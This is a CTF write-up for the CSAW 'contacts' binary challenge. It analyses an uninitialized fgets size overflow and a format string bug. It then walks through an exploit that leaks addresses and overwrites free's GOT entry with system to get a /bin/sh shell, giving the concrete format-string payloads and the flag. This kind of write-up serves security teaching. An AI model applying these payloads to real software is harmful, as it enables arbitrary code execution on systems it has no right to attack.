CSAW CTF – Exploitables250 – contacts

This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like

struct contact {
char *description;
char *phonenumber;
char name[64];
int desc_size;
int inuse;
};
First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.

.text:08048A4E mov edx, ds:stdin
.text:08048A54 mov eax, [ebp+size]
.text:08048A57 mov ecx, [ebp+contact]
.text:08048A5A add ecx, 8
.text:08048A5D mov [esp+8], edx ; stream
.text:08048A61 mov [esp+4], eax ; n
.text:08048A65 mov [esp], ecx ; s
.text:08048A68 call _fgets

printf("New name: ");
fgets(contact->name, size, stdin);
Next bug is a format string vulnerability in display contact feature:

is_inuse = contact->inuse;
if (is_inuse)
PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description);

int PrintDetails(char *name, int size, char *phonenumber, char *description)
{
printf("\tName: %s\n", name);
printf("\tLength %u\n", size);
printf("\tPhone #: %s\n", phonenumber);
printf("\tDescription: ");
printf(description);
}
Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.

Exploit details:

[*] Trigger info leak using format string

804c008.f7e543a1.f7fb1000.0.0.ffffcc48.8048c99.804b0a8.7d0.804c008.804c018.f7fb1ac0.8048ed6.804b0a0.0.0.f7fb1000.ffffcc78.80487a2.804b0a0.ffffcc68.50
[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack

GOT address of free = 0x0804b014
>>> 0xb014
45076
>>> 0x0804
2052

FRAME0EBP FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT
payload = '%.' + str(45076) + 'u%18$hn'

FRAME0EBP-->FRAME1EBP+2 # update FRAME1EBP address using FRAME0EBP
address = (FRAME1EBP+2) & 0xFFFF
payload = '%.' + str(address) + 'u%6$hn'

FRAME0EBP FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT
payload = '%.' + str(2052) + 'u%18$hn'
[*] Read the GOT entry of free, to leak libc address

payload = "%30$s"
[*] Then overwrite GOT of free with address to system

# writes 2 LSB bytes of address
system = (libc_base_address + system_offset) & 0xFFFF
payload = '%.' + str(system) + 'u%30$hn'
Update GOT address in stack to point to MSB bytes

payload = '%.' + str(45078) + 'u%18$hn'

# writes 2 MSB bytes of address
system = ((libc_base_address + system_offset) & 0xffff0000) >> 16
payload = '%.' + str(system) + 'u%30$hn'
[*] Create a contact with /bin/sh\x00 as description

[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")

Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}